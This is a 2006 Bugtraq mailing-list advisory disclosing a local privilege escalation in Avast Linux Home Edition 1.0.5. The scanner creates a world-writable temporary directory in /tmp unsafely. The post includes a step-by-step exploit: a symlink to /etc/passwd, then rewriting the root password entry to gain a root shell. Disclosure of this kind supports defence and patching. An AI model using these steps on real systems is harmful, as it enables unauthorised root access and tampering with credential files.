From: "Julien L." <jlanthea@hotmail.com.>
To: bugtraq@securityfocus.com
Subject: Avast Linux Home Edition (vulnerability on a temporary folder creation)
Date: Fri, 14 Apr 2006 19:12:17 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 14 Apr 2006 19:12:20.0419 (UTC) FILETIME=[5A5C3130:01C65FF7]
X-Virus-Scanned: antivirus-gw at tyumen.ru
Title : Avast Linux Home Edition, vulnerability on a temporary folder
creation
Protuct : Avast! Linux Home Edition
Product : http://www.avast.com/eng/download-avast-for-linux-edition.html
Version : 1.0.5, 1.0.5-1
avast4workstation-1.0.5-1.i586.rpm
avast4workstation-1.0.5.tar.gz
Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3).
Introduction :
Avast Linux Home Edition represents an antivirus solution for the Linux
platform.
When it scans for virus, it creates a temporary directory in /tmp in an
insecure
manner and gives it an chmod equal to 1777.
Exploit :
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1476 avr 14 15:30 /etc/passwd
$ ln -s /etc/passwd /tmp/_avast4_
$ ll /tmp/_avast4_
lrwxrwxrwx 1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd
...
Waiting for user root to scan for virus (example: # avast -d /bin)
...
$ ls -l /etc/passwd
-rwxrwxrwt 1 root root 1476 avr 14 15:55 /etc/passwd (Oops!)
$ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out
$ cat /tmp/a.out > /etc/passwd
$ su -
# id
uid=0(root) gid=0(root)
groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Note :
When the root user is launching avast for the first time, the "_avast4_"
folder
is not erased when virus scan is finished, so it may be difficult for a user
to create
the symbolic link. But we must not forget that distribs usualy clean there
/tmp folder
via the tmpwatch utility.
Regards,
Julian L.
_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
